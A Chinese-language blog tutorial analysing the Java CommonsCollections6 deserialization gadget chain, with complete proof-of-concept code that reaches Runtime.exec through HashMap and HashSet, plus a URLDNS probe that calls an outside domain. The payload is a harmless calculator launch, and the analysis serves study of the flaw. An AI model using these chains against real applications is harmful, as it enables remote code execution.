背景 在前面关于 CommonsCollections1 链的两篇文章中,都提到了该链的利用是需要 JDK 版本小于 8u71,这一限制会降低此链在实战中的利用率。
有一条常用链不受 JDK 版本的限制,即 CommonsCollections6 链(后续简称 CC6 链),CC6 与 CC1 相比,Kick-off 入口类发生了变化,还增加了一个TiedMapEntry
中间 Gadget 链,后续的LazyMap
中间 Gadget 链和 Sink 依旧没变,对于部分重复的内容,在本文将不再赘述,如果对此不够了解,建议从前两篇文章开始看起。
影响范围 虽然 CC6 链不像 CC1 那样会受到 JDK 版本的约束,但对于 Commons Collections 的版本也是要求在 3.0 以上、3.2.2 以下,即大于等于 3.1 且小于等于 3.2.1。
前情回顾 上一篇《Java 反序列化漏洞之 LazyMap 型 CC1 链》 文章中,有对LazyMap
中间 Gadget 链做详细分析,通过向LazyMap#decorate
方法传入一个恶意的ChainedTransformer
对象作为恶意的factory
,然后调用LayzMap#get
方法,便会触发恶意行为。而LayzMap#get
方法的触发是则是通过动态代理调用AnnotationInvocationHandler.invoke
方法。
在 CC6 链中,就没有用到动态代理的技术去调用AnnotationInvocationHandler.invoke
方法以触发LayzMap#get
方法,而是通过TiedMapEntry#hashCode
方法做到的。
TiedMapEntry#hashCode org.apache.commons.collections.keyvalue.TiedMapEntry
也是 Apache Commons Collections 库中的一个类,它用于表示键值对的条目,TiedMapEntry
类实现了表示映射条目的Map.Entry
、表示键值对的KeyValue
和用于序列化的Serializable
接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getKey () { return key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
TiedMapEntry
类中的hashCode
方法将条目的键和值的哈希码进行异或运算,以计算条目的哈希码。在hashCode
方法中有对getValue
方法进行调用,而getValue
中又存在map.get
调用,这样便能够触发LayzMap#get
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class TiedMapEntryTest { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" }) }; Transformer tcChain = new ChainedTransformer (transformers); Map lazyMap = LazyMap.decorate(new HashMap (), tcChain); TiedMapEntry tme = new TiedMapEntry (lazyMap, "k" ); tme.hashCode(); } }
HashMap java.util.HashMap
类在之前的 URLDNS 链中就已用到过,这里将其及其相关方法再一次贴出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } }
只要你稍微回忆下 URLDNS 链,一种似曾相识的感觉或许就会涌现你心头。其实不光是HashMap
类,上面TiedMapEntry#hashCode
方法的出现,也应该能够联系到 URLDNS 链,URLDNS 链中的 Sink 就是调用的hashCode
方法。
这里,也将 URLDNS 完整调用链和 POC 再次贴出来,若对 URLDNS 链不熟悉,请先回头看《Java 反序列化漏洞#URLDNS 链分析》 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class URLDNS { public static void main (String[] args) throws Exception { URL url = new URL ("http://urldns.1asj4bef1af.ipv6.bypass.eu.org" ); Class c = Class.forName("java.net.URL" ); Field f = c.getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 1 ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 0 ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("urldns.ser" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("urldns.ser" )); ois.readObject(); } }
在此前的 URLDNS 链中,我们首先对url
对象的成员变量hashCode
修改成了非-1,以防在序列化时触发 DNS 查询,造成误报,然后再调用put
方法,最后才会将hashCode
改回-1,以在反序列化时触发 DNS 查询。
同理,在 CC 链中也需要这样的操作,由于此处涉及的是Transformer
对象,那我们就可以先传入一个空ChainedTransformer
至lazyMap
,然后创建TiedMapEntry
对象并传入这个lazyMap
和一个 key,再创建HashMap
对象并调用put
新增TiedMapEntry
对象和一个 value,最后利用反射将真正恶意的 Transformer 数组传入ChainedTransformer
中。
最后的最后,还需对传入lazyMap
中的键进行移除,以通过LazyMap#get
方法中的 if 判断。
1 2 3 4 5 6 7 8 9 10 11 12 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
这样,在反序列化时便能够顺利地触发到LazyMap#get
方法,并触发其中的transform
方法调用。
综上,最终构造如下 POC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6WithHashMap { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashMap.ser" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashMap.ser" )); inputStream.readObject(); } }
HashSet 在 CC6 链中,除了java.util.HashMap
类可作为 Kick-off 外,java.util.HashSet
类也同样可以,只是稍显繁琐,Ysoserial 工具中的 CC6 链用到的就是这种方式。
HashSet
是 Java 标准库中的一个类,具有快速添加、删除和查找等操作功能,并且实现了Set
和Serializable
等接口。HashSet
内部实际上是通过一个HashMap
实例来存储元素的,HashSet
中的元素被存储为HashMap
中的键,而对应的值则是一个固定的Object
对象。在HashSet
中,元素相当于是HashMap
的键,而值则是一个占位符对象(即PRESENT
常量),所以实际上HashSet
只是一个对HashMap
的包装,它通过键的唯一性来保证集合中不包含重复元素。
在HashSet
中重写的readObject
方法中,有对HashMap
中的put
方法进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class HashSet <E> extends AbstractSet <E> implements Set <E>, Cloneable, java.io.Serializable { static final long serialVersionUID = -5024744406713321676L ; private transient HashMap<E,Object> map; private static final Object PRESENT = new Object (); private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } } }
所以以HashSet
作为 Kick-off,构造完整链的方式相比直接用HashMap
,没有发生多大的变化,无非再多套一层HashSet
,那么据此直接构造如下 POC 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC6WithHashSet { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); HashSet hashSet = new HashSet (hashMap.keySet()); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashSet.ser" )); outputStream.writeObject(hashSet); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashSet.ser" )); inputStream.readObject(); } }
参考